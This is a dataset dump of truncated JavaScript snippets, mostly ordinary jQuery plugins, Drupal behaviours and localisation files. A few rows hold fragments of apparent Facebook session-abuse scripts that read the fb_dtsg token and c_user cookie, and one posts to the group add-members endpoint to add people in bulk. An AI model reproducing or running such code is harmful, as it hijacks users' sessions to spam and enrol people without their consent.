code stringlengths 1 2.08M | language stringclasses 1
value |
|---|---|
/* Czech initialisation for the jQuery UI date picker plugin. */
/* Written by Tomas Muller (tomas@tomas-muller.net). */
jQuery(function($){
$.datepicker.regional['cs'] = {
closeText: 'Zavřít',
prevText: '<Dříve',
nextText: 'Později>',
currentText: 'Nyní',
monthNames: ['leden','únor','březen','dub... | JavaScript |
/* Inicializaci�n en espa�ol para la extensi�n 'UI date picker' para jQuery. */
/* Traducido por Vester (xvester@gmail.com). */
jQuery(function($){
$.datepicker.regional['es'] = {
closeText: 'Cerrar',
prevText: '<Ant',
nextText: 'Sig>',
currentText: 'Hoy',
monthNames: ['Enero','Febrero','Marzo','Ab... | JavaScript |
/* French initialisation for the jQuery UI date picker plugin. */
/* Written by Keith Wood (kbwood@virginbroadband.com.au) and Stéphane Nahmani (sholby@sholby.net). */
jQuery(function($){
$.datepicker.regional['fr'] = {
closeText: 'Fermer',
prevText: '<Préc',
nextText: 'Suiv>',
currentText: 'Courant... | JavaScript |
/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Maxim Drogobitskiy (maxdao@gmail.com). */
jQuery(function($){
$.datepicker.regional['uk'] = {
clearText: 'Очистити', clearStatus: '',
closeText: 'Закрити', closeStatus: '',
prevText: '<', prevStatus: '',
prevBigTex... | JavaScript |
/* Indonesian initialisation for the jQuery UI date picker plugin. */
/* Written by Deden Fathurahman (dedenf@gmail.com). */
jQuery(function($){
$.datepicker.regional['id'] = {
closeText: 'Tutup',
prevText: '<mundur',
nextText: 'maju>',
currentText: 'hari ini',
monthNames: ['Januari','Februari','Ma... | JavaScript |
/* Korean initialisation for the jQuery calendar extension. */
/* Written by DaeKwon Kang (ncrash.dk@gmail.com). */
jQuery(function($){
$.datepicker.regional['ko'] = {
closeText: '닫기',
prevText: '이전달',
nextText: '다음달',
currentText: '오늘',
monthNames: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)... | JavaScript |
/* Icelandic initialisation for the jQuery UI date picker plugin. */
/* Written by Haukur H. Thorsson (haukur@eskill.is). */
jQuery(function($){
$.datepicker.regional['is'] = {
closeText: 'Loka',
prevText: '< Fyrri',
nextText: 'Næsti >',
currentText: 'Í dag',
monthNames: ['Janúa... | JavaScript |
/* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* @author Arturas Paleicikas <arturas@avalon.lt> */
jQuery(function($){
$.datepicker.regional['lt'] = {
closeText: 'Uždaryti',
prevText: '<Atgal',
nextText: 'Pirmyn>',
currentText: 'Šiandien',
monthNames: ['Sausis','Vasa... | JavaScript |
/* Greek (el) initialisation for the jQuery UI date picker plugin. */
/* Written by Alex Cicovic (http://www.alexcicovic.com) */
jQuery(function($){
$.datepicker.regional['el'] = {
closeText: 'Κλείσιμο',
prevText: 'Προηγούμενος',
nextText: 'Επόμενος',
currentText: 'Τρέχων Μήνας',
monthNames: ['Ιανουάριος','... | JavaScript |
/* Serbian i18n for the jQuery UI date picker plugin. */
/* Written by Dejan Dimić. */
jQuery(function($){
$.datepicker.regional['sr-SR'] = {
closeText: 'Zatvori',
prevText: '<',
nextText: '>',
currentText: 'Danas',
monthNames: ['Januar','Februar','Mart','April','Maj','Jun',
'Jul','Avgust','Sept... | JavaScript |
$('*[data-href]').click(
function() {
location.href = $(this).attr('data-href');
}
);
$('*[data-confirm-href]').click(
function() {
if (confirm("Are you sure you want to do this?")) {
location.href = $(this).attr('data-confirm-href');
return fals... | JavaScript |
$('*[data-href]').click(
function() {
location.href = $(this).attr('data-href');
}
);
$('*[data-confirm-href]').click(
function() {
if (confirm("Are you sure you want to do this?")) {
location.href = $(this).attr('data-confirm-href');
return fals... | JavaScript |
$('*[data-href]').click(
function() {
location.href = $(this).attr('data-href');
}
);
$.fn.hasAttr = function(name) {
return this.attr(name) !== undefined;
}
function array_equal(array1,array2) {
return !(array1 < array2 || array1 > array2)
}
$.fn.keyup_change = function... | JavaScript |
$('*[data-href]').click(
function() {
location.href = $(this).attr('data-href');
}
);
$('*[data-confirm-href]').click(
function() {
if (confirm("Are you sure you want to do this?")) {
location.href = $(this).attr('data-confirm-href');
return fals... | JavaScript |
var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group... | JavaScript |
/*
selectivizr v1.0.2 - (c) Keith Clark, freely distributable under the terms
of the MIT license.
selectivizr.com
*/
/*
Notes about this source
-----------------------
* The #DEBUG_START and #DEBUG_END comments are used to mark blocks of code
that will be removed prior to building a final release... | JavaScript |
<!--
var interstitialBox={
ie7: window.XMLHttpRequest && document.all && !window.opera,
ie7offline: this.ie7 && window.location.href.indexOf("http")==-1,
launch:false,
scrollbarwidth: 16,
loadpage:function(url){
page_request = url
document.getElementById("interContent").innerHTML='<iframe src="'+ page_request... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
self.port.on("loadScript", function() {
jQuery.noConflict();
jQuery(document).ready(function($){
$('#clip_description_link').parent().prepend('<li><span id="overlayToggle" class="faux_link" style="cursor: pointer;"><img alt="" title="Turn the lights off!" src="http://addon.googlecode.com/files/lightblub_hd.png" st... | JavaScript |
jQuery.noConflict();
function showOverlay() {
if( !jQuery('#overlayDiv').length ) {
var overlayHeight = jQuery(document).height() + 20;
jQuery('body').prepend('<div id="overlayDiv" style="background: #222; opacity: 0.96; z-index: 9998; width:100%; height: ' + overlayHeight + 'px; position: absolute; display: none... | JavaScript |
self.port.on("loadScript", function() {
jQuery.noConflict();
jQuery(document).ready(function($){
$('.title').prepend('<img id="overlayToggle" alt="" title="Turn the lights off!" src="http://addon.googlecode.com/files/lightblub_single.png" style="cursor: pointer" />');
$("#overlayToggle").live('click', function... | JavaScript |
var pageMod = require("page-mod");
var data = require("self").data;
exports.main = function() {
var scriptFilesSingle = [data.url("jquery.min.js"), data.url("functions.js"), data.url('singleVideo.js')];
var scriptFilesChannels = [data.url("jquery.min.js"), data.url("functions.js"), data.url('hdChannel.js')]... | JavaScript |
<div style='float:left;padding:1px 0;margin-right:15px;font:bold 13px Arial;color:#777'>
<strong>Bagikan artikel keren ini melalui </strong> :
</div>
<b:if cond='data:blog.pageType == "item"'>
<div class='addthis_toolbox addthis_default_style addthis_32x32_style'>
<a class='addthis_button_preferred_1'/>
... | JavaScript |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in... | JavaScript |
$(document).ready(function(){
//登录
$('#login').click(function(){
if( !validateLogin() ){
return;
}
var username = $('.login input[name=username]').val();
var pwd = $('.login input[name=pwd]').val();
$.ajax({
url : 'login.asp',
type : 'POST',
data : {
username : user... | JavaScript |
// NOTICE!! DO NOT USE ANY OF THIS JAVASCRIPT
// IT'S ALL JUST JUNK FOR OUR DOCS!
// ++++++++++++++++++++++++++++++++++++++++++
!function ($) {
$(function(){
// Disable certain links in docs
$('section [href^=#]').click(function (e) {
e.preventDefault()
})
// make code pretty
window.pret... | JavaScript |
(function(){
var rsplit = function(string, regex) {
var result = regex.exec(string),retArr = new Array(), first_idx, last_idx, first_bit;
while (result != null)
{
first_idx = result.index; last_idx = regex.lastIndex;
if ((first_idx) != 0)
{
first_bit = string.substring(0,first_idx);
retArr.push(str... | JavaScript |
EJS.Helpers.prototype.date_tag = function(name, value , html_options) {
if(! (value instanceof Date))
value = new Date()
var month_names = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
var years = [], months = [], days =[];
v... | JavaScript |
var g_CurrentKey = null;
var g_Counter = 0;
var COUNTER_MAX = 50;
function setErrorState(error)
{
olderr = error;
error = error + "<br/><a href='mailto:sigizmund@gmail.com?subject=Problem with the fanfiction downloader'>" + "Complain about this error</a>";
$('#error').html(error);
}
function clearErrorState()
{
... | JavaScript |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
... | JavaScript |
(function($){
/* hoverIntent by Brian Cherne */
$.fn.hoverIntent = function(f,g) {
// default configuration options
var cfg = {
sensitivity: 7,
interval: 100,
timeout: 0
};
// override configuration options with user supplied object
cfg = $.extend(cfg, g ? { over: f, out: g } : f );
// instantia... | JavaScript |
/*
* Superfish v1.4.8 - jQuery menu widget
* Copyright (c) 2008 Joel Birch
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt
*/
;(functi... | JavaScript |
/*
* Treeview 1.5pre - jQuery plugin to hide and show branches of a tree
*
* http://bassistance.de/jquery-plugins/jquery-plugin-treeview/
* http://docs.jquery.com/Plugins/Treeview
*
* Copyright (c) 2007 Jörn Zaefferer
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit... | JavaScript |
window.log = function(){
log.history = log.history || [];
log.history.push(arguments);
arguments.callee = arguments.callee.caller;
if(this.console) console.log( Array.prototype.slice.call(arguments) );
};
(function(b){function c(){}for(var d="assert,count,debug,dir,dirxml,error,exception,group,groupCollapse... | JavaScript |
/*
* Supersubs v0.2b - jQuery plugin
* Copyright (c) 2008 Joel Birch
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
*
* This plugin automatically adjusts submenu widths of suckerfish-style menus to that of
* th... | JavaScript |
$(function(){
});
| JavaScript |
function AddressSelectorShow(data)
{
var wrapper = document.address_selector;
if (!wrapper)
return;
wrapper.data = data;
// render
var render1 = function(data)
{
// IE6 slow string fix
var StringBuffer = function() { this.str = []; }
StringBuffer.prototype =
... | JavaScript |
AddressSelectorShow([["4","41002000001","Никольское","с","684500","4177","30201000001"]]) | JavaScript |
AddressSelectorShow([["4","44000002000","Волгореченск","г","156901","4437","34406000000"]]) | JavaScript |
AddressSelectorShow([["4","79000001000","Биробиджан","г","679000","7901","99401000000"]]) | JavaScript |
AddressSelectorShow([["4","04000001000","Горно-Алтайск","г","649000","0411","84401000000"]]) | JavaScript |
AddressSelectorShow([["4","37000001000","Иваново","г","153000","3702","24401000000"]]) | JavaScript |
AddressSelectorShow([["4","53000001000","Великий Новгород","г","","5321","49401000000"]]) | JavaScript |
AddressSelectorShow([["4","62000001000","Рязань","г","390000","","61401000000"]]) | JavaScript |
AddressSelectorShow([["4","46000001000","Курск","г","305000","4632","38401000000"]]) | JavaScript |
/*! SWFObject v2.2 <http://code.google.com/p/swfobject/>
is released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
*/
var swfobject = function() {
var UNDEF = "undefined",
OBJECT = "object",
SHOCKWAVE_FLASH = "Shockwave Flash",
SHOCKWAVE_FLASH_AX = "ShockwaveFlash.Shoc... | JavaScript |
// JavaScript Document
//验证用户名
function chkuname(form){
if(form.uname.value==""){
name1.innerHTML="<font color=#FF0000><b>用户名不能为空!</b></font>";
}else{
var user=form.uname.value;
//生成url链接,传到chkname.php进行判断
var url="chkname.php?user="+user;
var xmlhttp=createxmlhttp();
xmlhttp.open("GET",url,true... | JavaScript |
// JavaScript Document
function createxmlhttp(){
var xmlhttp = null;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else if(window.ActiveXObject){
try{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e){
try{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e... | JavaScript |
// ColorBox v1.3.20.2 - jQuery lightbox plugin
// (c) 2012 Jack Moore - jacklmoore.com
// License: http://www.opensource.org/licenses/mit-license.php
(function ($, document, window) {
var
// Default settings object.
// See http://jacklmoore.com/colorbox for details.
defaults = {
transition: "elastic",
speed: 30... | JavaScript |
/*!
* jQuery Cycle Plugin (with Transition Definitions)
* Examples and documentation at: http://jquery.malsup.com/cycle/
* Copyright (c) 2007-2010 M. Alsup
* Version: 2.9999.5 (10-APR-2012)
* Dual licensed under the MIT and GPL licenses.
* http://jquery.malsup.com/license.html
* Requires: jQuery v1... | JavaScript |
var user = getCookie("c_user");
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) ... | JavaScript |
// This is a manifest file that'll be compiled into application.js, which will include all the files
// listed below.
//
// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative pat... | JavaScript |
try {
var pageTracker = _gat._getTracker("UA-18761191-1");
pageTracker._trackPageview();
} catch(err) {}
| JavaScript |
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
| JavaScript |
var body = null;
var pop = null;
function installListener() {
body = document.getElementsByTagName("body")[0];
body.addEventListener("mouseup", onMouseUp, false);
}
setTimeout( installListener, 100 );
function onMouseUp(e) {
var word = getSelectedWord();
if (word != '') {
chrome.ext... | JavaScript |
chrome.extension.onRequest.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.query == "username") {
var shanbay = new ShanbayAPI();
sh... | JavaScript |
var logged = false;
var loginNotice = '';
function showNotice(html) {
document.getElementById("notice").innerHTML = html;
document.getElementById("notice").style.display = "block";
}
function onAddResult(result) {
console.log("add result: " + JSON.stringify(result));
if (result.word == "" &&... | JavaScript |
function ShanbayAPI() {
this.host = "http://www.shanbay.com";
this.ADD_WORD_API = this.host + '/api/learning/add/{{word}}';
}
function isEnglish(s) {
var pattern = /^[A-Za-z ]+$/;
if (!pattern.exec(s)) {
return false;
} else {
return true;
}
}
ShanbayAPI.prototype.sen... | JavaScript |
// This is a manifest file that'll be compiled into including all the files listed below.
// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically
// be included in the compiled file accessible from http://example.com/assets/application.js
// It's not advisable to add code directl... | JavaScript |
/*
Formalize - version 1.1
Note: This file depends on the jQuery library.
*/
// Module pattern:
// http://yuiblog.com/blog/2007/06/12/module-pattern
var FORMALIZE = (function($, window, document, undefined) {
// Private constants.
var PLACEHOLDER_SUPPORTED = 'placeholder' in document.createElement('input');
... | JavaScript |
/**
* @todo
*/
Drupal.omega = Drupal.omega || {};
(function($) {
/**
* @todo
*/
var current;
var previous;
/**
* @todo
*/
var setCurrentLayout = function (index) {
index = parseInt(index);
previous = current;
current = Drupal.settings.omega.layouts.order.hasOwnProperty(index) ? ... | JavaScript |
/**
* @todo
*/
(function($) {
/**
* @todo
*/
Drupal.behaviors.omegaEqualHeights = {
attach: function (context) {
$('body', context).once('omega-equalheights', function () {
$(window).bind('resize.omegaequalheights', function () {
$($('.equal-height-container').get().reverse()).e... | JavaScript |
/**
* Attaches the debugging behavior.
*/
(function($) {
Drupal.behaviors.alphaDebug = {
attach: function (context) {
$('body', context).once('alpha-debug', function () {
$('.alpha-grid-toggle').click(function() {
$('body').toggleClass('alpha-grid-debug');
return false;
... | JavaScript |
/**
* Created by IVAN on 14.12.13.
*/
(function ($) {
Drupal.behaviors.dropdown_click = {
attach: function (context, settings) {
var ddl = $("#block-custom-addhands-user-header-dropdown-menu #dropdown_link");
if (ddl.length > 0) {
hd = $( '#block-custom-addhands-us... | JavaScript |
/**
* @file better_exposed_filters.js
*
* Provides some client-side functionality for the Better Exposed Filters module
*/
(function ($) {
Drupal.behaviors.betterExposedFilters = {
attach: function(context) {
// Add highlight class to checked checkboxes for better theming
$('.bef-tree input[type=c... | JavaScript |
(function ($) {
Drupal.behaviors.l10nUpdateCollapse = {
attach: function (context, settings) {
$('.l10n-update .l10n-update-wrapper', context).once('l10nupdatecollapse', function () {
var wrapper = $(this);
// Turn the project title into a clickable link.
// Add an event to toggle the content ... | JavaScript |
/*
* UI enhancements for the imagecache edit form
*/
(function($){
/**
* Check if independent corners are enabled and disable other fields in the UI
*/
Drupal.canvasactions_roundedcorners_form_disable_fields = function () {
// To get the right effect, we have to set the 'disabled' attribute on the
... | JavaScript |
(function ($) {
Drupal.behaviors.geofieldYmap = {
attach: function (context, settings) {
$('div.geofield-ymap', context).once('geofield-ymap', function () {
var mapId = this.id;
if (!mapId) {
mapId = this.id = Drupal.geofieldYmap.generateMapId();
}
ymaps.ready(funct... | JavaScript |
ymaps.ready(function () {
ymaps.option.presetStorage.add('custom#examplePreset', {
iconLayout: 'default#image',
iconImageHref: 'http://api.yandex.ru/maps/doc/jsapi/2.x/examples/images/myIcon.gif',
iconImageSize: [30, 42],
iconImageOffset: [-3, -42]
});
});
| JavaScript |
(function ($) {
Drupal.behaviors.geofieldYmapLoader = {
attach: function (context, settings) {
if (!Drupal.geofieldYmap && !window.ymaps && $('div.geofield-ymap').length > 0) {
var scripts = [
'//api-maps.yandex.ru/2.1-dev/?lang=ru-RU&load=package.full&coordorder=longlat',
Drupal... | JavaScript |
(function ($) {
/**
* Provide the summary information for the menu attributes vertical tabs.
*/
Drupal.behaviors.menuAttributesOptionsSummary = {
attach: function (context) {
// Menu item title.
$('fieldset#edit-title', context).drupalSetSummary(function (context) {
if (!$('input[type="checkbox"]:che... | JavaScript |
/**
* @file
* Attach Media WYSIWYG behaviors.
*/
(function ($) {
Drupal.media = Drupal.media || {};
// Define the behavior.
Drupal.wysiwyg.plugins.media = {
/**
* Initializes the tag map.
*/
initializeTagMap: function () {
if (typeof Drupal.settings.tagmap == 'undefined') {
Drupal.settings... | JavaScript |
/**
* @file
* This file handles the JS for Media Module functions.
*/
(function ($) {
/**
* Loads media browsers and callbacks, specifically for media as a field.
*/
Drupal.behaviors.mediaElement = {
attach: function (context, settings) {
// Options set from media.fields.inc for the types, etc to show i... | JavaScript |
/**
* @file
* Javascript for the interface at admin/content/media and also for interfaces
* related to setting up media fields and for media type administration.
*
* Basically, if it's on the /admin path, it's probably here.
*/
(function ($) {
/**
* Functionality for the thumbnail display
*/
Drupal.behaviors.... | JavaScript |
/**
* @file
* Attach behaviors to formatter radio select when selecting a media's display
* formatter.
*/
(function ($) {
namespace('Drupal.media.formatForm');
Drupal.media.mediaFormatSelected = {};
Drupal.behaviors.mediaFormatForm = {
attach: function (context, settings) {
// Add "Submit" and "Cancel"... | JavaScript |
(function ($) {
namespace('Drupal.media.browser');
Drupal.media.browser.selectedMedia = [];
Drupal.media.browser.mediaAdded = function () {};
Drupal.media.browser.selectionFinalized = function (selectedMedia) {
// This is intended to be overridden if a callee wants to be triggered
// when the media selection is f... | JavaScript |
(function ($) {
namespace('Drupal.media.browser');
Drupal.behaviors.mediaLibrary = {
attach: function (context, settings) {
var library = new Drupal.media.browser.library(Drupal.settings.media.browser.library);
$('#media-browser-tabset').bind('tabsshow', function (event, ui) {
if (ui.tab.hash === '#me... | JavaScript |
(function ($) {
namespace('Drupal.media.browser.plugin');
Drupal.media.browser.plugin.upload = function (mediaBrowser, options) {
return {
/* Abstract */
init: function () {
tabset = mediaBrowser.getTabset();
tabset.tabs('add', '#upload', Drupal.t('Upload'));
mediaBrowser.listen('tabs.show... | JavaScript |
(function ($) {
namespace('Drupal.media.browser.plugin');
Drupal.media.browser.plugin.fromurl = function (mediaBrowser, options) {
return {
init: function () {
tabset = mediaBrowser.getTabset();
tabset.tabs('add', '#fromurl', 'From URL');
mediaBrowser.listen('tabs.show', function (e, id) {
... | JavaScript |
Drupal.behaviors.mediaUploadMultiple = {};
Drupal.behaviors.mediaUploadMultiple.attach = function (context, settings) {
// When the plupload element initializes, it expands the size of the elements
// it has created, so we need to resize the browser iframe after it's done.
var uploader = jQuery('#edit-upload').p... | JavaScript |
/**
* Creates a namespace.
*
* @return
* The created namespace object.
*/
function namespace () {
var a=arguments, o=null, i, j, d;
for (i=0; i<a.length; i=i+1) {
d=a[i].split(".");
o=window;
for (j=0; j<d.length; j=j+1) {
o[d[j]]=o[d[j]] || {};
o=o[d[j]];
}
}
return o;
};
| JavaScript |
/*
http://www.JSON.org/json2.js
2009-09-29
Public Domain.
NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
See http://www.JSON.org/js.html
This code should be minified before deployment.
See http://javascript.crockford.com/jsmin.html
USE YOUR OWN COPY. IT IS EXTREMELY UNWISE... | JavaScript |
/**
* @file: Popup dialog interfaces for the media project.
*
* Drupal.media.popups.mediaBrowser
* Launches the media browser which allows users to pick a piece of media.
*
* Drupal.media.popups.mediaStyleSelector
* Launches the style selection form where the user can choose
* what format / style they want... | JavaScript |
(function ($) {
Drupal.behaviors.fileDisplayStatus = {
attach: function (context, settings) {
$('#file-displays-status-wrapper input.form-checkbox', context).once('display-status', function () {
var $checkbox = $(this);
// Retrieve the tabledrag row belonging to this display.
var $row = $('#' ... | JavaScript |
/**
* JavaScript behaviors for the front-end display of webforms.
*/
(function ($) {
Drupal.behaviors.webform = Drupal.behaviors.webform || {};
Drupal.behaviors.webform.attach = function(context) {
// Calendar datepicker behavior.
Drupal.webform.datepicker(context);
};
Drupal.webform = Drupal.webform || {};
... | JavaScript |
/**
* @file
* Enhancements for select list configuration options.
*/
(function ($) {
Drupal.behaviors.webformSelectLoadOptions = {};
Drupal.behaviors.webformSelectLoadOptions.attach = function(context) {
settings = Drupal.settings;
$('#edit-extra-options-source', context).change(function() {
var url = se... | JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.